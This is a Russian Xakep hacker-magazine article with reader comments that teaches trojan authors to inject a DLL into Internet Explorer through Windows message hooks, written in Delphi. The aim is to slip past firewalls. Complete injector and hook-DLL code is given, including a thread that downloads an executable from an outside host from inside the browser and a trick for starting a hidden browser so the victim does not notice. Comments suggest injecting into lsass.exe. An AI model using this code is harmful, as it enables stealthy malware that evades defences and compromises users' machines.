Карта сайта Хакер в RSS Энциклопедия Хакера PDA версия сайта Почтовые рассылки Хакера    Хакер в Twitter Хакер в ВКонтакте Приложение Хакер для Facebook Хакер на Formspring.me
Журнал Новости Форум Видео Life Xakep Live (блоги)
Bugtrack Статьи Блог Поиск English
Взлом как образ мысли Взлом как образ мысли
Интервью с человеком, который, как оказалось, является не только талантливым пентестером в одной из крупных ИБ-компании, но и хакером-ветераном, который уверенными шагами вышел на свет и прикоснулся к истории российской хак-сцены....
Полный гид по накрутке онлайн-голосований Полный гид по накрутке онлайн-голосований
Конкурсы с голосованием привлекают большое количество посетителей, а трафик, как известно, — это деньги. Особый интерес вызывают конкурсы, где за победу предлагаются лакомые призы....

DLL-Injecting на Delphi

Bookmark and Share

Лет 5-7 назад, когда файрволы еще были экзотикой, трояны для работы с сетью могли использовать обычный TCP/IP. Вспомним, например, Back Orifice группы Cult of a Dead Cow. Этот троян получил большое распространение в конце прошлого века и стал классикой backdoor. Многие трояны, написанные после, так или иначе его копировали. Работал Back Orifice так: на машине жертвы из автозагрузки в реестре запускался сервер, который открывал заданный порт и ждал. Хакер на своей машине запускал программу-клиент, коннектился к серверу по TCP/IP и спокойно посылал ему команды. Сервер эти команды выполнял и так же спокойно отсылал клиенту результаты. А глупый пользователь как ни в чем не бывало продолжал лазить по порносайтам =) Как тогда все было просто, правда?

Но хорошие времена прошли, пользователи поумнели. Сегодня свежий антивирус и правильно настроенный файрвол на домашней машине - уже не редкость, о серверах и говорить нечего. К тому же операционки стали выпускать со встроенными файрволами (например MS Windows XP SP2 и некоторые Linux'ы). Поэтому если у хакера и получается как-нибудь запустить на машине жертвы троян, пробраться в сеть этому трояну теперь ой как непросто. Приходится идти на всякие хитрости и уловки. Как раз об одной такой хитрости мы сегодня и поговорим ;)

А что если прикинуться броузером?

Обычно файрвол настроен пропускать в сеть web-браузер - иначе как пользователь будет лазить по своим любимым сайтам? Хитрость в том, что бы троян внедрился в web-браузер, как-нибудь "заразил" его, и работал с сетью от его имени. Причем внедрение надо провести так, что бы файрвол ничего не заметил.

Вариантов тут несколько. Первое, что приходит в голову: попробовать заразить EXE-файл web-браузера на диске (например iexplore.exe для MS Internet Explorer) так же, как это делают вирусы. Но, во-первых, внедрить собственный код в EXE-файл на диске не так-то просто - особенно если этот код написан на языке высокого уровня типа Delphi. Во-вторых, при заражении EXE-файл изменится, а это плохо. Обычно файрволы, перед тем как выпустить какую-нибудь программу в сеть, проверяют ее исполняемые файлы на диске. Если файлы изменились, доступ в сеть для программы закрывается, а пользователю тут же выдается соответствующее сообщение. Ну и в третьих, некоторые браузеры при запуске могут проверять собственные файлы. Если файлы изменились, браузер сообщает об этом пользователю и прекращает работу. Этим страдает например IE-based браузер, встроенный в PHP Expert Editor 3.2.1.

В общем, заражение EXE-файла на диске практически ничего не дает. Поэтому троянмейкеры применяют другой прием - заражение браузера прямо в памяти. В MS Windows существует несколько техник, позволяющих трояну подгрузить свой код в адресное пространство чужого процесса (в том числе браузера), не изменяя никаких файлов на диске. Рассмотрим, ИМХО, наиболее простую из них.

Техника DLL-INJECTING через ловушки

Эта техника известна троянмейкерам уже давно. Она позволяет внедрить свою DLL в адресное пространство чужого процесса (injecting - по англ. "внедрение"). Техника основана на том, что Windows позволяет программам устанавливать так называемые ловушки (hooks, "хуки") на сообщения системы. Обычно ловушки используются программами в сугубо мирных целях. Например, переключатель языков Windows устанавливает ловушку на сообщения от клавиатуры, что бы знать, какие клавиши нажаты. Но ловушки могут быть использованы и троянами, что бы прорваться мимо файрвола в сеть.

Давайте рассмотрим конкретный пример, а с теорией разберемся по ходу дела - думаю, так получится понятнее всего (готовые исходники примера лежат здесь). Конечно, наш пример сам по себе ни в коем случае не будет трояном - мы же законопослушные граждане ;) Мы просто напишем процедуру InjectDLLviaHOOKS(dll_name: string), которая внедряет указанную в dll_name библиотеку в адресное пространство Internet Explorer =)

Сначала попробуем просто загрузить dll_name с помощью API LoadLibrary. При успешной загрузке эта API должна вернуть нам идентификатор (его еще называют "хэндл") загруженной DLL. Этот идентификатор мы поместим в переменную h типа THandle:

h:=LoadLibrary(PAnsiChar(dll_name));
//
проверим, загрузилась ли библиотека
if h=0 then
begin
//
нет - выдадим messagebox с сообщением и выйдем из процедуры
MessageBox(0, PAnsiChar('Не могу загрузить DLL '+dll_name+'!'), 
DLL_INJ, MB_OK+MB_ICONERROR);
exit;
end;


Здесь и дальше константа DLL_INJ содержит заголовок окна messagebox'а:

const DLL_INJ = 'DLL Injector (HOOKS)';

Это сделано просто для удобства, что бы каждый раз не перенабирать заголовок заново.

Теперь с помощью API GetProcAddress найдем в загруженной DLL адреса функций HookProc и SetHK. Что это за функции нам станет ясно дальше. Код:

p:=GetProcAddress(h, 'HookProc');
@sh:=GetProcAddress(h, 'SetHK');
//
проверим, нашлись ли адреса
if ((p=nil) or (@sh=nil)) then
begin
//
не нашлись :( - выдадим messagebox
MessageBox(0, PAnsiChar('Библиотека '+
dll_name+' не содержит необходимых функций!'),
DLL_INJ, MB_OK+MB_ICONERROR);
//
выгрузим библиотеку
FreeLibrary(h);
//
и выйдем
exit;
end;


Причем заметим, что p - это просто указатель (тип pointer), а sh - переменная-функция, прототип которой описан как:

type TShp = procedure (hk: HHOOK) stdcall;

Пока что ничего особенного, правда? Только неясно, что такое HHOOK. Вот сейчас и выясним. Установим ловушку. Делается это с помощью API SetWindowsHookEx. В качестве первого параметра необходимо указать тип ловушки. Мы укажем WH_CALLWNDPROC - это значит, что мы хотим поставить ловушку на сообщения, получаемые окнами. Вторым и третьим параметром передадим адрес функции ловушки (указатель p на HookProc) и идентификатор DLL (переменная h), в котором эта функция находиться. Четвертый параметр - идентификатор потока, на который необходимо поставить ловушку. У нас этот параметр равен 0 - это значит, что мы хотим поставить ловушки на все потоки в системе, которые имеют окна.

Если ловушка поставлена успешно API SetWindowsHookEx вернет идентификатор ловушки, который мы поместим в переменную hk типа HHOOK (вот мы и выснили, что такое HHOOK!). Если ловушку установить не удалось - мы получим 0.

А вот и кусок кода, который все это делает:

hk:=SetWindowsHookEx(WH_CALLWNDPROC, p, h, 0);
//
проверим, установилась ли ловушка
if hk=0 then
begin
//
нет =( - messagebox, отгрузка библиотеки, выход
MessageBox(0, PAnsiChar('Невозможно установить хук!'),
DLL_INJ, MB_OK+MB_ICONERROR);
FreeLibrary(h);
exit;
end;


Теперь, если мы все сделали правильно, ловушка установилась. Что же произошло? А произошло вот что - наша DLL загрузилась во все процессы, которые имеют окна. И теперь как только Windows пошлет какому-нибудь окну сообщение (любое!), это сообщение сперва попадет к нашей функции HookProc, и только потом - к нужному окну. Более того, если мы уже после установки ловушки загрузим какую-то программу с окнами, наша DLL подгрузиться к этой программе автоматически! Так что даже если браузер еще не запущен, не страшно, мы можем подождать =)

Однако тут все не так просто, как кажется на первый взгляд. Функция HookProc в dll_name не может быть какой попало, она должна иметь определенный вид. Какой? Сейчас увидим.

Создадим в Delphi шаблон DLL. В Delphi 7 это File=>New=>Other=>New=>DLL Wizard, в других версиях или точно так же, или похоже. Удалим из шаблона все и впишем туда:

library hook_dll;
uses Windows;
begin
end.

Затем сохранимся под именем hook_dll (скомпилированная библиотека таким образом будет называться hook_dll.dll). Теперь вобьем функцию HookProc:

function HookProc(nCode, wParam, lParam: integer): integer stdcall;
begin
//
просто передадим сообщение дальше по цепочке
Result:=CallNextHookEx(_hook, nCode, wParam, lParam);
end;

Не забудьте про stdcall! Тем самым вы укажете компилятору Delphi, что параметры нужно передавать функции на стеке в обратном порядке (если вы не очень поняли, что это значит - Гейтс с ним, просто не забудьте про stdcall, это важно).

Теперь посмотрим на саму функцию. HookProc принимает три параметра типа integer. Не будем сейчас разбираться, что означают эти параметры. Скажем только, что nCode - это число, которое говорит нашей функции, как обрабатывать поступившее сообщение Windows, а wParam и lParam - это, собственно, и есть само сообщение. Поскольку мы вообще никак не собираемся его обрабатывать, мы просто передадим его дальше - окну или следующей ловушке.

"Какой следующей ловушке?" - спросит особо дотошный читатель. Отвечаю: дело в том, что не одни мы можем ставить ловушки. Очень может быть, что перед нами какая-то программа (тот же переключатель языков Windows) уже поставила точно такую же ловушку. Потому сообщение сначала попадет к функции нашей ловушки; эта функция должна передать его следующей ловушки - той, которая была поставлена перед нами; та - следующей и т.д. по цепочке. Ловушка, которая была поставлена самой первой, передаст сообщение уже окну. Ну, конечно, если до нашей ловушки никаких других не ставили, тогда мы передаем сообщение сразу окну.

Но мы отвлеклись, давайте вернемся к функции HookProc. Передача сообщения осуществляется с помощью API CallNextHookEx. Причем специфика ловушек состоит в том, что HookProc должна вернуть значение, которое получится в результате работы CallNextHookEx.

Посмотрим на параметры CallNextHookEx. С nCode, wParam, lParam все ясно. А вот что такое _hook? Ответ на этот вопрос зависит от версии Windows. В 9x/ME это обязательно должен быть идентификатор ловушки, который мы получили с помощью SetWindowsHookEx. В 2000/XP _hook может быть просто 0. Получается, что если мы работаем под 9x/ME, мы должны как-то передать идентификатор ловушки в библиотеку. Помните, в самом начале, сразу после загрузки DLL с помощью LoadLibrary мы находили в ней адрес функции SetHK? В hook_dll.dll эта функция выглядит так:

var
//
_hook обьявляется глобальной переменной в hook_dll
//
типа HHOOK со значением по умолчанию 0
_hook: HHOOK = 0;

... ... ...

//
собственно, сама процедура
procedure SetHK(hk: HHOOK) stdcall;
begin
_hook:=hk;
end;


SetHK передает идентификатор ловушки в нашу DLL, поэтому ее необходимо вызвать в процедуре установки хука сразу после SetWindowsHookEx. Что мы и сделаем =)

sh(hk);


Правда, если вы собираетесь работать только под Windows 2000/XP, функция SetHK не обязательна. Как уже было сказано, _hook в этом случае может быть равно 0 (мы, кстати, так и прописали по умолчанию). Поэтому SetHK можно вообще убрать из hook_dll, а в процедуре внедрения DLL не искать адрес и не вызывать ее.

Надо сказать, что здесь есть еще одна тонкость, которую мы сегодня обсуждать не будем. Она совсем не чувствуется на Windows 9x/ME/2000/XP. Но если вы попытаетесь ставить ловушки в Windows NT и писать все это на Delphi, вам придеться здорово попотеть, что бы передать идентификатор ловушки в DLL. Это связано с тем, что компилятор Delphi очень криво поддерживает так называемые shared-секции. Но не надо о грустном =), тем более кто сейчас помнит NT?

Итак, ловушка стоит, наша DLL подгружается во все процессы с окнами. Но нам ведь не нужны все процессы, нам нужен процесс Internet Explorer - iexplore.exe. Как же узнать, в какой процесс нас подгрузила система? Очень просто - в секцию инициализации DLL впишем код:

begin
//
сравниваем идентификатор процесса, в который нас загрузили,
//
с идентификатором iexplore.exe
if GetModuleHandle(nil)=GetModuleHandle('iexplore.exe') then
begin
//
если совпало - значит мы наконец-то попали в Internet Explorer
//
создадим поток, в котором будем работать
CreateThread(nil, 0, @WorkWithNet, pointer(12345), 0, thID);
end;
end.


Передавая API-функции GetModuleHandle параметр nil, мы находим хендл процесса, в который нас загрузили, и сравниваем с хендлом Internet Explorer. Это работает даже если iexplore.exe еще не запущен - тогда GetModuleHandle('iexplore.exe') просто вернет нам 0. Ну и ничего страшного - можно ведь сравнивать и с нулем =) Если сравнение прошло успешно, мы создадим поток, в котором и будем работать.

"А зачем создавать поток?" - спросит тот же дотошный читатель, что спрашивал про следующую ловушку =), - "Ведь можно вместо какого-то малопонятного CreateThread просто вписать свой код!" Так то оно так, но... Загрузка DLL не закончится, пока не будет выполнен весь код в секции инициализации. И если мы собираемся работать с сетью прямо в секции инициализации, то процесс загрузки может затянуться надолго. Если он затянется, у того процесса, в которое мы внедрились (особенно это касается процессов, запускаемых после установки ловушки) могут возникнуть проблемы с обработкой сообщений и оно повиснет. Кроме того, Windows накладывает много чисто системных ограничений на код в секции инициализации DLL - там много чего запрещено из того, что разрешено обычному коду. А зачем нам запреты и ограничения? 

Поток создается обычным образом, с помощью API CreateThread. @WorkWithNet - указатель на процедуру, которая будет выполняться в потоке. thID - глобальная переменная типа THandle, в которую будет помещен идентификатор потока (нам-то она ни к чему, но по синтаксису быть должна). pointer(12345) - указатель на переменную, которая передается потоку (опять-таки он сформирован "от балды", т.к. никакие внешние переменный в потоке мы не используем). Поток стартует сразу после выполнения CreateThread.

Теперь о процедуре WorkWithNet. Выглядит она так:

procedure WorkWithNet(thrVar: integer) stdcall;
begin
//
скачиваем файл http://test2.ru/cmd.exe и записываем его в d:\cmd.exe
URLDownloadToFile(nil, 'http://test2.ru/cmd.exe', 'd:\cmd.exe', 0, nil);
// в
ыдаем messagebox с сообщением об успешном внедрении
MessageBox(0, 'Успешно внедрились Internet Explorer и попробовали '+
'скачать файл в обход файрвола =)) Файл должен лежать в d:\',
'Hook DLL', MB_OK);
//
на этом процедура потока завершается и поток - вместе с ней
end;


Думаю, тут все понятно. Только не забудьте вместо http://test2.ru/cmd.exe указать какой-нибудь правильный адрес файла в сети и включить в uses модуль UrlMon - в нем описана API-функция URLDownloadToFile.

Ловушка работает, пока запущена EXE-программа, которая ее установила. После завершения этой EXE система снимает ловушку автоматически. Если ловушку нужно снять до завершения установившей ее программы, воспользуйтесь API UnhookWindowsHookEx. В качестве единственного параметра ей надо передать идентификатор ловушки:

UnhookWindowsHookEx(hk);

Вот, собственно, и вся техника DLL-injecting с помощью ловушек =)

Проблемы

Стоит, сказать о некоторых проблемах, которые возникают при использовании DLL injecting через ловушки.

Во первых, внедрение DLL происходит только в те процессы, которые имею окна. Если жертва трояна - ненормальный маньяк ;), который ходит в сеть через текстовый браузер (например Lynx в DOS-сеансе), то троян отдыхает. Никакими ловушками он никуда не пролезет. К счастью, сегодня текстовые браузеры - редкость.

Во вторых, без прав администратора в 2000/XP троянская DLL не сможет внедриться в системные процессы (типа winlogon.exe), даже если те имеют окна. Но это тоже не большая проблема. Браузер в большинстве случаев запускается как обычный процесс и для доступа к нему никаких особых прав не нужно. Например, код к этой статье нормально работает с Internet Explorer 6.0 под "Гостем" в Windows XP SP2.

В третьих - файрволы умнеют с каждым релизом и сейчас особо продвинутые уже не выпускают в сеть подгруженные с помощью ловушки DLL-ки. Для того, что бы проскользнуть мимо них, нужны более сложные техники. Вот это, конечно, уже печально =(. Но увы - такова суровая правда жизни.

Иногда возникает еще и четвертая проблема - жертва сидит в сети, но браузер не запускает (например, сутками сосет почту и торчит в Асе). А трояну нужно срочно скачать для себя обновление или отправить краденые файлы. Эта проблема имеет очень простое решение =)

Запусти браузер сам!

В Windows есть хорошая API-функция ShellExecute, она открывает файлы и запускает программы. Вызвать эту функцию - все равно, что дважды клацнуть по указнному файлу. Документы будут открываются в Word'е, файлы с расширением TXT - в блокноте, а EXE... они просто запускаться =) Это мы и используем - запустим браузер сами!

"Стоп, стоп!" - скажет уже всех задолбавший дотошный читатель, - "Ведь если мы сами запустим браузер, ламер, которому мы впихнули троян, это увидит. И такой шутки скорее всего не поймет".

Отвечаю: спокойно, все предусмотрено! Допустим, мы хотим запустить Internet Explorer. Вызовем ShellExecute так:

ShellExecute(0, 'open', 'iexplore.exe', nil, nil, SW_HIDE);

Первый параметр - хендл окна-владельца открытого браузера. У нас 0 - владельца нет. Второй и третий параметры - операция (у нас "open" - т.е. открыть) и программа, к которой эта операция дожна быть применена. Четвертый параметр - PAnsiChar-строка с параметрами. Мы ничего не передаем, у нас там nil. Предпоследний, пятый параметр, тоже PAnsiChar-строка - директория по умолчанию. У нас опять-таки nil. И наконец последний, самый интересный параметр - константа, определяющая способ запуска программы, в которой будет открыт документ. Здесь мы передаем SW_HIDE, и наш браузер запускается в скрытом виде! Т.е., говоря языком VCL-форм в Delphi, ее главное окно имеет свойство Visible:=FALSE.

Поэтому когда мы сами откроем Internet Explorer по умолчанию, пользователь (или, как говорит дотошный читатель, "ламер") ничего не заметит. Увидеть и закрыть запущенный таким образом браузер можно только в менеджере задач, по Ctr+Alt+Del. Кстати, в Windows 2000/XP для этого понадобится зайти на вкладку "Процессы", потому что на вкладке "Приложения" iexplore.exe не видно =)

Сам троян может узнать, запустился ли браузер, проверив значение, которое возвратит ShellExecute. Если оно больше 32 - все о'кей.

Конечно, можно для запуска браузера можно использовать не только ShellExecute. В Windows есть еще две API - WinExec и CreateProcess. Но WinExec морально устарела (хотя работает), а в CreateProcess слишком много параметров, поэтому ею не очень удобно пользоваться.

Думаю, с этим вопросом почти все понятно. "Почти" - потому что тут все-таки остаются некоторые нюансы. Например, что если у пользователя на машине два браузера - кроме Internet Exlorer еще Opera или Mozila? А файрволл настроен так, что выпускает в сеть только один из этих браузеров. Тогда как узнать какой именно?

Увы, моя статья не резиновая, потому нам придется поговорить о таких тонкостях в следующий раз. А на сегодня я прощаюсь с вами. Bye =)





СВЯЗАННЫЕ СТАТЬИ
DLL-Injecting на Delphi
СЛЕДУЮЩИЕ СТАТЬИ
Вирус в Shadow RAM
Маскировка вируса
Свои модули для PasswordsPro: атака на хэши
Кража паролей из памяти
Снифер своими руками: отслеживание входящего трафика
Управляем 1С Предприятием через сеть
*nix-бэкдоры в подробностях
Клавиатурный шпион 2005 №2
Клавиатурный шпион 2005 №1
Усовершенствованный метод внедрения DLL
ПРЕДЫДУЩИЕ СТАТЬИ
Перехват сообщения меню
RеаLьные БэкDоorы: советы создателя
Обход детекторов на основе EPA
Снова о сокрытии процессов: теперь и ХР
Авторизуйся картинкой наоборот или отгадай три цифры
Снова о сокрытии процессов
Самый маленький вирус на Delphi
Перехват вызовов API-функций на Delphi №2
Циклический инкремент паролей
Перехват вызовов API-функций на Delphi
ОБСУЖДЕНИЕ СТАТЬИ
Логин:
Пароль:
Если у вас есть форумный логин - вы можете использовать его, иначе анонимный гостевой доступ.

Для оставления комментария вы можете зарегистрироваться по упрощенной процедуре.

Обсуждение этой статьи на forum.xakep.ru
Для отправки сообщения введите код, указанный на картинке
Сообщение

UserГость
06.02.2007 8:54:53
Ответить Ссылка
Статья для братьев наших меньших. Ну что ж делать, такова маркетинговая политика журнала. 8(
UserГость
06.02.2007 8:54:54
Ответить Ссылка
Старо как моя бабка... А слабо написать про обход фаеров используя драйвер.
UserГость
06.02.2007 8:54:55
Ответить Ссылка
Back Orifice а не Back Office (Microsoft) ослина тупая. Если уж сам своей тупой харей не застал те времена,мог бы по крайней мере поискать в инете про первый RA от CODC. А на ксакепе куда смотрят?Или может все-таки BackOffice?))Lolики
UserГость
06.02.2007 8:54:57
Ответить Ссылка
Уважаемые товарищи критики. Пожалуйста, прежде чем постить своё сообщение, сделайте следующее: 1. Поднесите руку к лицу, держа её на расстоянии 20-25 сантиметров от кончика носа. Пальцы должны быть прямыми, ладонь обращена в сторону лица. 2. Теперь согните мизицен, безымянный, указательный и большой бальцы (именно в такой последовательности). 3. Внимательно, со всех сторон рассмотрите образовавшуюся фигуру. 4. Считайте, что я вам ответил =)
UserГость
06.02.2007 8:55:01
Ответить Ссылка
Такая технология не работает на многих фаерволах из-за системы контроля целостности образа программы в памяти. Таким образом, если внедрить библиотеку в область памяти программы, фаервол задаст вопрос, а нормально вообще, что программа-то изменилась?
UserГость
06.02.2007 8:55:04
Ответить Ссылка
лол :) все новые версии МСЭ проверяют не только dll модули, но ещё и потоки, драйверы etc,etc... эта хрень нифига не работает что вынаписали, точнее работает, но любой файрвол перед запуском выдаст соответствующий меседж. почитайте чтонибудь о ring 0, может и дайдет каким образом можно действительно это сделать. народ, а вы вообще про OLE слышали? не проще ли вписать соответствующий модуль трояна под файрвол я эту проблему решил, довольно просто, не закрывая файрвол, и не внедряя в него свои модули =). можно просто вписать сой код скажем в lsass.exe и никакой файрвол не заметит. кому интересно как я это сделал могу написать. пишите на мыло orion@cotec.ru или ясю 220-210-321 ;) З.Ы ASP 9.2 рулеZzzzzzz, под которым я это писал
UserГость
06.02.2007 8:55:05
Ответить Ссылка
О--еь Стандартный файервол в винде со всеми сервис паками ничего не видит! Заходите Господа Хакеры. Такая "защита" стоит на большинстве машин в сети.
UserГость
06.02.2007 8:55:06
Ответить Ссылка
ха не проще зомби процесс создать и в него тупо DLL подгрузить?
UserГость
06.07.2008 16:12:44
Ответить Ссылка
Ну вы долбойебы!!! Автор пытался показать не саму технику обхода фаеров, как технику внедрения DLL.
UserГость
15.06.2009 10:23:43
Ответить Ссылка
Как скачать inject.dll




Keywords: zPOSTz zSOFTz, zPROz, zHOWz, zINFOz z26796z
Для Авторов: edit Lock delete Lock



    Rambler's Top100